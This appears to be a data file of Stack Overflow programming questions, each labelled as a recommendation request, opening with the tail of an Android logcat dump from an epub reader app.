Could not find method android.widget.ImageButton.setImageIcon, referenced from method android.support.v7.widget.AppCompatImageButton.setImageIcon\n07-12 15:23:34.561 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 16709: Landroid/widget/ImageButton;.setImageIcon (Landroid/graphics/drawable/Icon;)V\n07-12 15:23:34.561 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0000\n07-12 15:23:34.561 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.content.res.Resources.getDrawable, referenced from method android.support.v7.widget.ResourcesWrapper.getDrawable\n07-12 15:23:34.561 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 669: Landroid/content/res/Resources;.getDrawable (ILandroid/content/res/Resources$Theme;)Landroid/graphics/drawable/Drawable;\n07-12 15:23:34.561 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0002\n07-12 15:23:34.561 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.content.res.Resources.getDrawableForDensity, referenced from method android.support.v7.widget.ResourcesWrapper.getDrawableForDensity\n07-12 15:23:34.561 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 671: Landroid/content/res/Resources;.getDrawableForDensity (IILandroid/content/res/Resources$Theme;)Landroid/graphics/drawable/Drawable;\n07-12 15:23:34.561 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0002\n07-12 15:23:34.561 2754-2754/com.edep.useepublib E/dalvikvm: Could not find class 'android.graphics.drawable.RippleDrawable', referenced from method android.support.v7.widget.AppCompatImageHelper.hasOverlappingRendering\n07-12 15:23:34.561 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve instanceof 194 (Landroid/graphics/drawable/RippleDrawable;) in Landroid/support/v7/widget/AppCompatImageHelper;\n07-12 15:23:34.561 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x20 at 0x000c\n07-12 15:23:34.577 2754-2757/com.edep.useepublib D/dalvikvm: GC_CONCURRENT freed 221K, 4% free 8187K/8455K, paused 10ms+0ms, total 12ms\n07-12 15:23:34.577 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.TextView.getAutoSizeMaxTextSize, referenced from method android.support.v7.widget.AppCompatTextView.getAutoSizeMaxTextSize\n07-12 15:23:34.577 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 17005: Landroid/widget/TextView;.getAutoSizeMaxTextSize ()I\n07-12 15:23:34.577 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0006\n07-12 15:23:34.577 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.TextView.getAutoSizeMinTextSize, referenced from method android.support.v7.widget.AppCompatTextView.getAutoSizeMinTextSize\n07-12 15:23:34.577 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 17006: Landroid/widget/TextView;.getAutoSizeMinTextSize ()I\n07-12 15:23:34.577 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0006\n07-12 15:23:34.577 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.TextView.getAutoSizeStepGranularity, referenced from method android.support.v7.widget.AppCompatTextView.getAutoSizeStepGranularity\n07-12 15:23:34.577 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 17007: Landroid/widget/TextView;.getAutoSizeStepGranularity ()I\n07-12 15:23:34.577 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0006\n07-12 15:23:34.577 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.TextView.getAutoSizeTextAvailableSizes, referenced from method android.support.v7.widget.AppCompatTextView.getAutoSizeTextAvailableSizes\n07-12 15:23:34.577 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 17008: Landroid/widget/TextView;.getAutoSizeTextAvailableSizes ()[I\n07-12 15:23:34.577 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0006\n07-12 15:23:34.577 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.TextView.getAutoSizeTextType, referenced from method android.support.v7.widget.AppCompatTextView.getAutoSizeTextType\n07-12 15:23:34.577 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 17009: Landroid/widget/TextView;.getAutoSizeTextType ()I\n07-12 15:23:34.581 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0007\n07-12 15:23:34.581 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.TextView.setAutoSizeTextTypeUniformWithConfiguration, referenced from method android.support.v7.widget.AppCompatTextView.setAutoSizeTextTypeUniformWithConfiguration\n07-12 15:23:34.581 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 17052: Landroid/widget/TextView;.setAutoSizeTextTypeUniformWithConfiguration (IIII)V\n07-12 15:23:34.581 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0006\n07-12 15:23:34.581 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.TextView.setAutoSizeTextTypeUniformWithPresetSizes, referenced from method android.support.v7.widget.AppCompatTextView.setAutoSizeTextTypeUniformWithPresetSizes\n07-12 15:23:34.581 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 17053: Landroid/widget/TextView;.setAutoSizeTextTypeUniformWithPresetSizes ([II)V\n07-12 15:23:34.581 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0006\n07-12 15:23:34.581 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.TextView.setAutoSizeTextTypeWithDefaults, referenced from method android.support.v7.widget.AppCompatTextView.setAutoSizeTextTypeWithDefaults\n07-12 15:23:34.581 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 17054: Landroid/widget/TextView;.setAutoSizeTextTypeWithDefaults (I)V\n07-12 15:23:34.581 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0006\n07-12 15:23:34.581 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.TextView.getAutoSizeStepGranularity, referenced from method android.support.v7.widget.AppCompatTextHelper.loadFromAttributes\n07-12 15:23:34.581 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 17007: Landroid/widget/TextView;.getAutoSizeStepGranularity ()I\n07-12 15:23:34.581 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0163\n07-12 15:23:34.581 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.text.StaticLayout$Builder.obtain, referenced from method android.support.v7.widget.AppCompatTextViewAutoSizeHelper.createStaticLayoutForMeasuring\n07-12 15:23:34.581 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve static method 15494: Landroid/text/StaticLayout$Builder;.obtain (Ljava/lang/CharSequence;IILandroid/text/TextPaint;I)Landroid/text/StaticLayout$Builder;\n07-12 15:23:34.581 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x71 at 0x0014\n07-12 15:23:34.581 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.TextView.isInLayout, referenced from method android.support.v7.widget.AppCompatTextViewAutoSizeHelper.setRawTextSize\n07-12 15:23:34.581 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 17044: Landroid/widget/TextView;.isInLayout ()Z\n07-12 15:23:34.581 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0020\n07-12 15:23:34.585 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.Button.getAutoSizeMaxTextSize, referenced from method android.support.v7.widget.AppCompatButton.getAutoSizeMaxTextSize\n07-12 15:23:34.585 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 16565: Landroid/widget/Button;.getAutoSizeMaxTextSize ()I\n07-12 15:23:34.585 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0006\n07-12 15:23:34.585 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.Button.getAutoSizeMinTextSize, referenced from method android.support.v7.widget.AppCompatButton.getAutoSizeMinTextSize\n07-12 15:23:34.585 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 16566: Landroid/widget/Button;.getAutoSizeMinTextSize ()I\n07-12 15:23:34.585 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0006\n07-12 15:23:34.585 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.Button.getAutoSizeStepGranularity, referenced from method android.support.v7.widget.AppCompatButton.getAutoSizeStepGranularity\n07-12 15:23:34.585 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 16567: Landroid/widget/Button;.getAutoSizeStepGranularity ()I\n07-12 15:23:34.585 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0006\n07-12 15:23:34.585 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.Button.getAutoSizeTextAvailableSizes, referenced from method android.support.v7.widget.AppCompatButton.getAutoSizeTextAvailableSizes\n07-12 15:23:34.585 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 16568: Landroid/widget/Button;.getAutoSizeTextAvailableSizes ()[I\n07-12 15:23:34.585 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0006\n07-12 15:23:34.585 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.Button.getAutoSizeTextType, referenced from method android.support.v7.widget.AppCompatButton.getAutoSizeTextType\n07-12 15:23:34.585 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 16569: Landroid/widget/Button;.getAutoSizeTextType ()I\n07-12 15:23:34.585 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0007\n07-12 15:23:34.585 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.Button.setAutoSizeTextTypeUniformWithConfiguration, referenced from method android.support.v7.widget.AppCompatButton.setAutoSizeTextTypeUniformWithConfiguration\n07-12 15:23:34.585 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 16575: Landroid/widget/Button;.setAutoSizeTextTypeUniformWithConfiguration (IIII)V\n07-12 15:23:34.585 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0006\n07-12 15:23:34.585 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.Button.setAutoSizeTextTypeUniformWithPresetSizes, referenced from method android.support.v7.widget.AppCompatButton.setAutoSizeTextTypeUniformWithPresetSizes\n07-12 15:23:34.585 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 16576: Landroid/widget/Button;.setAutoSizeTextTypeUniformWithPresetSizes ([II)V\n07-12 15:23:34.589 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0006\n07-12 15:23:34.589 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.Button.setAutoSizeTextTypeWithDefaults, referenced from method android.support.v7.widget.AppCompatButton.setAutoSizeTextTypeWithDefaults\n07-12 15:23:34.589 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 16577: Landroid/widget/Button;.setAutoSizeTextTypeWithDefaults (I)V\n07-12 15:23:34.589 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0006\n07-12 15:23:34.589 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.view.ViewGroup$MarginLayoutParams.resolveLayoutDirection, referenced from method android.support.constraint.ConstraintLayout$LayoutParams.resolveLayoutDirection\n07-12 15:23:34.589 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 16066: Landroid/view/ViewGroup$MarginLayoutParams;.resolveLayoutDirection (I)V\n07-12 15:23:34.589 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0004\n07-12 15:23:34.609 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.view.ViewGroup$MarginLayoutParams.getLayoutDirection, referenced from method android.support.v4.view.MarginLayoutParamsCompat.getLayoutDirection\n07-12 15:23:34.609 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 16062: Landroid/view/ViewGroup$MarginLayoutParams;.getLayoutDirection ()I\n07-12 15:23:34.609 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0006\n07-12 15:23:34.609 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.view.ViewGroup$MarginLayoutParams.resolveLayoutDirection, referenced from method android.support.v4.view.MarginLayoutParamsCompat.resolveLayoutDirection\n07-12 15:23:34.609 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 16066: Landroid/view/ViewGroup$MarginLayoutParams;.resolveLayoutDirection (I)V\n07-12 15:23:34.609 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0006\n07-12 15:23:34.609 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.view.ViewGroup$MarginLayoutParams.setLayoutDirection, referenced from method android.support.v4.view.MarginLayoutParamsCompat.setLayoutDirection\n07-12 15:23:34.609 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 16067: Landroid/view/ViewGroup$MarginLayoutParams;.setLayoutDirection (I)V\n07-12 15:23:34.609 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0006\n07-12 15:23:34.609 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.view.ViewGroup$MarginLayoutParams.setMarginEnd, referenced from method android.support.v4.view.MarginLayoutParamsCompat.setMarginEnd\n07-12 15:23:34.609 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 16068: Landroid/view/ViewGroup$MarginLayoutParams;.setMarginEnd (I)V\n07-12 15:23:34.609 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0006\n07-12 15:23:34.609 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.view.ViewGroup$MarginLayoutParams.setMarginStart, referenced from method android.support.v4.view.MarginLayoutParamsCompat.setMarginStart\n07-12 15:23:34.609 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 16069: Landroid/view/ViewGroup$MarginLayoutParams;.setMarginStart (I)V\n07-12 15:23:34.609 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0006\n07-12 15:23:34.621 2754-2754/com.edep.useepublib D/libEGL: loaded /system/lib/egl/libEGL_genymotion.so\n07-12 15:23:34.633 2754-2754/com.edep.useepublib D/libEGL: loaded /system/lib/egl/libGLESv1_CM_genymotion.so\n loaded /system/lib/egl/libGLESv2_genymotion.so\n07-12 15:23:34.693 2754-2754/com.edep.useepublib W/EGL_genymotion: eglSurfaceAttrib not implemented\n07-12 15:23:34.697 2754-2754/com.edep.useepublib D/OpenGLRenderer: Enabling debug mode 0\n07-12 15:23:34.733 2754-2754/com.edep.useepublib D/OpenGLRenderer: TextureCache::get: create texture(0xb95c6df8): name, size, mSize = 3, 2304, 2304\n07-12 15:23:35.937 2754-2754/com.edep.useepublib E/epublib: TomSawyer.epub\n07-12 15:23:35.965 2754-2754/com.edep.useepublib W/EGL_genymotion: eglSurfaceAttrib not implemented\n07-12 15:23:36.033 2754-2754/com.edep.useepublib D/TilesManager: new EGLContext from framework: b95ec8b8 \n07-12 15:23:36.033 2754-2754/com.edep.useepublib D/GLWebViewState: Reinit shader\n07-12 15:23:36.105 2754-2754/com.edep.useepublib D/GLWebViewState: Reinit transferQueue\n07-12 15:33:28.685 2754-2757/com.edep.useepublib D/dalvikvm: GC_CONCURRENT freed 109K, 3% free 8513K/8711K, paused 10ms+0ms, total 12ms\n07-12 15:33:28.689 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to find class referenced in signature (Landroid/graphics/drawable/Icon;)\n07-12 15:33:28.689 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.ImageView.setImageIcon, referenced from method android.support.v7.widget.AppCompatImageView.setImageIcon\n07-12 15:33:28.689 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 16744: Landroid/widget/ImageView;.setImageIcon (Landroid/graphics/drawable/Icon;)V\n07-12 15:33:28.689 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0000\n07-12 15:33:34.381 2754-2768/com.edep.useepublib E/webcoreglue: Should not happen: no rect-based-test nodes found\n</code></pre>\n"},{"Classification":"Recommendation request","Title":"Seasonal Effect Identification","Body":"<p>I am trying to find the seasonal effect identification ways with application in matlab. I need to detect the seasonality and then find the periodicity of the time series with this code. Is there any good method for this?</p>\n"},{"Classification":"Recommendation request","Title":"last name and common misspelling/alternatives?","Body":"<p>I am looking for a good source for a collection last names and their common misspellings/alternatives/alias for testing purposes, something like \"Peterson\" for \"Petersen\". Any advice?</p>\n\n<p>Thanks</p>\n"},{"Classification":"Recommendation request","Title":"How to implement Parallex scolling while using ConstraintLayout","Body":"<p>How can I implement a parallex scolling AppBar in android while using <code>ConstraintLayout</code> or I must use the <code>coordinatorLayout</code> and <code>NestedScollView</code> for that purpose?</p>\n"},{"Classification":"Recommendation request","Title":"How do i use chart-plugin-streaming in angularjs","Body":"<p>I want to use chartjs-plugin-streaming in my angularjs project.</p>\n\n<p>I am using chart.js/angular-chart for my data visualization but i want to show the realtime data so i am trying to use streaming plugin. please help me to do that.</p>\n\n<p>Any references/examples in AngularJS?</p>\n"},{"Classification":"Recommendation request","Title":"How can find Weibull function parameters by given x,y data in python?","Body":"<p>I have a data which look like Weibulls function. How can i find the parameters of the function that satisfy my data?\n<a href=\"https://i.stack.imgur.com/FTh6q.png\" rel=\"nofollow noreferrer\">my data</a></p>\n"},{"Classification":"Recommendation request","Title":"What are some good networking projects?","Body":"<p>I am right now pursuing Computer Science Engineering undergrad.\nI want some good and trending WORKING projects in networking.</p>\n"},{"Classification":"Recommendation request","Title":"Python execute file from .zip","Body":"<p>I'm using ZipFile module in Python and want to execute .exe file from the archive without extracting. For example I have 1.zip and inside it 2.exe. How can I execute 2.exe? Using .read method I can open it as binary but I'd like to execute. Thanks!</p>\n"},{"Classification":"Recommendation request","Title":"Which is the best payment gateway for WordPress Woocommerce in India?","Body":"<p>I've developed an e-commerce website and I would like to integrate an ideal payment gateway for my project. Please suggest a list.</p>\n\n<p>Location: India\nPurchasing products allowed only from India.</p>\n"},{"Classification":"Recommendation request","Title":"Anaconda vs atom. Which editor is more flexible for different goals?","Body":"<p>I want to find more flexible tool for my python self-education in web and machine learning. Which editor gives me enough things for effective work?</p>\n"},{"Classification":"Recommendation request","Title":"Live video streaming api with mobile and web support","Body":"<p>I have to add video conferencing functionality in a web application. Can someone suggest an open source javaScript based API for this?</p>\n"},{"Classification":"Recommendation request","Title":"Precompiled Tensor Flow C++ libraries for windows","Body":"<p>any idea where to get (Versioned) Precompiled Tensor Flow C++ (libs/dlls) libraries for windows</p>\n\n<p>Thanks\nSimon</p>"},{"Classification":"Recommendation request","Title":"What is Common Locale Data Repository (CLDR) - JDK 9","Body":"<p>I want to understand CLDR as it is enhanced in JDK-9.</p>\n\n<p><a href=\"http://www.oracle.com/technetwork/java/javase/9-relnote-issues-3704069.html#JDK-8008577\" rel=\"nofollow noreferrer\">JDK 9 CLDR</a>\n - As per JDK docs</p>\n\n<blockquote>\n <p>In JDK 9, the default locale data uses data derived from the Unicode\n Consortium's Common Locale Data Repository (CLDR). As a result, users\n may see differences in locale sensitive services behavior and/or\n translations.</p>\n</blockquote>\n\n<p>Can some one help me understand this and let me know what will be its reprecusion in JDK8 Date API.</p>\n"},{"Classification":"Recommendation request","Title":"Machine learning Library for Cookie Training","Body":"<p>I have to train Cookie/biscuit image to check deformities, color and shape.Which ML-Library should I use for training purpose.</p>\n"},{"Classification":"Recommendation request","Title":"How to Use Linx socket between two different nodes","Body":"<p>I am looking for Linx client server socket communication in C which takes a request and send a response to the client.</p>\n\n<p>I tried finding code online for reference but unable to find.</p>\n"},{"Classification":"Recommendation request","Title":"my own php REST API issue in mobile","Body":"<p>I have build my own registration API using php REST API and it is working in postman and other API checkers and also when i use it in react mobile application it is working only on laptop emulator. when i run apk in mobile it is not working. are there any libraries to to deploy in php file?</p>\n"},{"Classification":"Recommendation request","Title":"free software tools to jailbreak iOS 11.2.1 and jailbreak procedure","Body":"<p>My ipad have current version of iOS is 11.2.1. How to jailbreak iOS 11.2.1 using free software tools?\nPlease suggest some solutions to jailbreak iOS 11.2.1</p>\n"},{"Classification":"Recommendation request","Title":"Wrong argument count with C program as CGI","Body":"<p>I saw some tutorial on C CGI which i forgot the links now, and cant find it on google. In those tutorial, author passed arguments as url parameter and he could display arguments using plain argv[i] (not using QueryString).</p>\n\n<p>Here is my test, which i cant find it working as intended.\n**Server : nginx</p>\n\n<pre><code>#include &lt;stdio.h&gt;\nint main(int argc, char* argv[]){\n printf(\"content-type:text/plain\\n\\n\");\n\n printf(\"arg count is %d\\n\", argc);\n return 0;\n}\n</code></pre>\n\n<p>Here is my output:</p>\n\n<p><a href=\"https://i.stack.imgur.com/J0zon.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/J0zon.png\" alt=\"enter image description here\"></a></p>\n\n<p>Where the argument count should be 3. Can someone show some light of hope!</p>\n"},{"Classification":"Recommendation request","Title":"Top down physics for js","Body":"<p>I need a simple physics engine for a top-down shooting/walking game. Something simple with colisions/friction/bounce. I've looked up on Box2D and Matter.js but none of them semms to have an easy to implement top-down \"mode\".</p>\n\n<p>I would be thankful if you could point me to some good performing 2d top-down engine, or some documentation so I could write it myself.</p>\n"},{"Classification":"Recommendation request","Title":"Best practices for coding , compiling, debugging and maintaining shader programs in opengl?","Body":"<p>I'm a newbie.. trying to learn shaders. I feel like its not that easy to code and debug it. Examples and tutorials I see on internet allows to code them in text files and read them as char pointer to pass them to shader compiler. Is there any best practices for coding - with intellisence , compiling , debugging ( printing the value some where in console atleast? ) And how to maintain and organise multiple shaders in a giant source code?</p>\n\n<p>I'm using visual studio. Is there any tools or extensions for it to support opengl shaders?</p>\n\n<p>If not is there any dedicated IDE only for opengl shaders? - if so how to organise them with other c++ source files in visual studio?. </p>\n\n<p>How do they actually do it?</p>\n\n<p>Thanks.</p>\n"},{"Classification":"Recommendation request","Title":"Where can I find working source of Symfony Sonata that I can install on my WAMP dev system?","Body":"<p>I want to find a virtual build of the Symfony Sonata sandbox that works. Perhaps in a Docker container.</p>\n\n<p>I have tried to get the sonata-sandbox-2.3 and sonata-sandbox-2.4 found on Github to work on a local dev environment on Windows 7 and a WAMP stack. I have spent hours installing it both from a .zip file and also manually using Composer. But I always end up with something failing. Note that I consider a blank page in the web browser to be a failure.</p>\n\n<p>Last year I installed Docker on my Windows box. It also has a Kitematic (Alpha) executable to run. I have tried using that to search for a Docker container with a working sonata sandbox demo, but the comments for the results I get are either so sparse as to be useless or nonexistent.</p>\n\n<p>My reasoning is this: if I can find a working version of this then perhaps I can dive into the source &amp; settings and figure out what I have been doing wrong on my own local dev system. <em>I am guessing that I am missing some steps or have a lack of understanding of the build process.</em></p>\n\n<p>So my question is this:\n1a) <strong>How</strong> can I find a working version of the Sonata sandbox such that I can copy the PHP code and data so I can dive into it ?\n- OR -\n1b) <strong>Where</strong> can I find a .zip file that I can extract to my local WAMP setup ?</p>\n"},{"Classification":"Recommendation request","Title":"Using redis pubsub between Phoenix web server and Golang microservice","Body":"<p>Are there any tutorials or standardized practices for using redis with Phoenix framework?</p>\n\n<p>Say I wanted my phoenix app to listen for when a task has completed in my golang microservice. How do I go about setting this up?</p>\n\n<p>I see a lot of phoenix pubsub libraries:\n<a href=\"https://hexdocs.pm/phoenix/1.1.0/Phoenix.PubSub.html\" rel=\"nofollow noreferrer\">https://hexdocs.pm/phoenix/1.1.0/Phoenix.PubSub.html</a>\n<a href=\"https://hexdocs.pm/phoenix_pubsub_redis/api-reference.html\" rel=\"nofollow noreferrer\">https://hexdocs.pm/phoenix_pubsub_redis/api-reference.html</a></p>\n\n<p>What should I actually be using?</p>\n"},{"Classification":"Recommendation request","Title":"Can you help me, provider me an java sdk for Navitaire api?","Body":"<p>I want to dock the Navitaire interface, but I don't have the java sdk they provide. Can you provide it?</p>\n\n<p>The name of the document is Web Services Developer Guide - 3.4.16</p>\n\n<p>Part of the code inside the document: </p>\n\n<pre><code>ISessionManager sessionManager = new SessionManagerClient(); \nAPI_SessionService.LogonRequest logonRequest = new API_SessionService.LogonRequest(); \nString username = \"jsmith\"; String password = \"P@ssword2\"; \nString domain = \"def\"; \nlogonRequest.logonRequestData = new LogonRequestData(); \nlogonRequest.logonRequestData.DomainCode = domain; \nlogonRequest.logonRequestData.AgentName = userName; \nlogonRequest.logonRequestData.Password = password; \nAPI_SessionService.LogonResponse logonResponse = \n\nsessionManager.Logon(logonRequest); \nif (logonResponse != null &amp;&amp; logonResponse.Signature != null &amp;&amp; logonResponse.Signature != \n string.Empty) \n{ \n//Completed Logon, you can now use the signature to call the API\n\nstring _signature = logonResponse.Signature; \n\n}\n</code></pre>\n"},{"Classification":"Recommendation request","Title":"Best Java Script Framework for Web Application Development","Body":"<p>Zk is a kind of a (closed) web-application development and hosting environment to build applications which hides some of the web's complexity.</p>\n\n<p>Vaadin is a framework for Java, which is a completely different language the JavaScript, comes also with completely different eco-system. </p>\n\n<p>We need to develop a fully responsive web application and need to choose a fastest, reliable, scalable eco-system to kick off the project</p>\n\n<p>Can someone suggest a good framework and tech stack to start ?</p>\n\n<p>Thanks.</p>\n"},{"Classification":"Recommendation request","Title":"In Android Is there any open source api to translate one language to any language in offline","Body":"<p>In my Project, I need to Convert Camera Captured Image Text to Another Language,It should Work In Offline,but I am not getting which API i need to use </p>\n"},{"Classification":"Recommendation request","Title":"Add user in Linux by using C++ program using &quot;adduser&quot; as command in combination with the &quot;system&quot; syntax","Body":"<p>I am just starting out with C++ and I am looking for a way to use the \"adduser\" option in a C++ application to automate my setup process. The problem is that I can't figure out how I can use \"system\" to pass on the password when required.</p>\n\n<p>This creates a user but without a password but how can I add a password to this?</p>\n\n<pre><code>system(\"useradd test\");\n</code></pre>\n\n<p>Thanks in advance!</p>\n"},{"Classification":"Recommendation request","Title":"Sample api online client id and client server","Body":"<p>I am new to c# I am trying to build an OAuth for c# is there any API available online that I can use to test because I am trying to replicate the given API. </p>\n\n<p>I need the following resources of an API accepting the following: </p>\n\n<ol>\n<li>I need an access token which is accessed through a single string encoded in base 64( client(username) and client(password). </li>\n<li>client(username) and client(password) will be added in the header as a single string encoded</li>\n<li>The method will be post</li>\n<li>I will get the access token return by the request to get the API.</li>\n</ol>\n\n<p>Is there such available sample API online or do I have to create it myself? </p>\n"},{"Classification":"Recommendation request","Title":"Prepare for AWS certification without prior AWS experience","Body":"<p>I am new to AWS (Amazon Web Service). I am planning to take AWS certified Solution Architect - Associate certification. how do I prepare for this certification as I don't have initial knowledge about AWS?</p>\n"},{"Classification":"Recommendation request","Title":"Write and Read from excel using php","Body":"<p>I need an idea, I got myself in a project that I need to:</p>\n\n<ol>\n<li>write information in a Excel spreadsheet</li>\n<li>run a macro to solve and get the results</li>\n<li>get the resolution from excel.</li>\n</ol>\n\n<p>There is anyway to that? What should I search for?\nThank you</p>\n"},{"Classification":"Recommendation request","Title":"what is difference between JLS and JSR and JEP","Body":"<p>JLS - Java Language Specification - <a href=\"https://docs.oracle.com/javase/specs/jls/se9/html/index.html\" rel=\"nofollow noreferrer\">https://docs.oracle.com/javase/specs/jls/se9/html/index.html</a></p>\n\n<p>JSR - Java Specification Requests - <a href=\"https://jcp.org/aboutJava/communityprocess/final/jsr376/index.html\" rel=\"nofollow noreferrer\">https://jcp.org/aboutJava/communityprocess/final/jsr376/index.html</a> (module system)\n the formal documents that describe proposed specifications and technologies for adding to the Java platform.</p>\n\n<p>JEP - JDK Enhancement Proposal - <a href=\"http://openjdk.java.net/jeps/0\" rel=\"nofollow noreferrer\">http://openjdk.java.net/jeps/0</a> , <a href=\"http://openjdk.java.net/jeps/261\" rel=\"nofollow noreferrer\">http://openjdk.java.net/jeps/261</a> (module system)</p>\n\n<p>What is the difference between these three?</p>\n"},{"Classification":"Recommendation request","Title":"I&#39;m looking for any library like ptyj.s but in python","Body":"<p>I'm looking for pty.js like library for python. I've seen the pty module but I can't understand how to make it run async like the javascript counterpart.</p>\n"},{"Classification":"Recommendation request","Title":"What all does AppScan scan with JavaScript?","Body":"<p>I can't find any good documentation that lists what all IBM's AppScan Source scans for JavaScript projects. I've looked through many of their PDFs and websites but haven't found anything that details what it covers and reviews.</p>\n\n<ul>\n<li>What does AppScan claim to to find in JavaScript? </li>\n<li>Can it handle projects with Angular, Jquery, and other 3rd party libraries? Any that it can't handle?</li>\n</ul>\n"},{"Classification":"Recommendation request","Title":"How do I wait for sub-process to complete in Linux","Body":"<p>I need to play a wave file using <code>aplay</code>. However, my wave files are few seconds in length. So I plan to play them in loop for certain period of time. <code>aplay</code> does not seem to have loop options. From my C file create a sub-process using <code>popen()</code> The playback is working fine. But the difficulty is that I can't monitor when the wave file playback is completed so that I can start over. </p>\n\n<pre><code>popen(\"aplay WaveFile\",\"r\");\n</code></pre>\n\n<p>How do I know when this command has finished 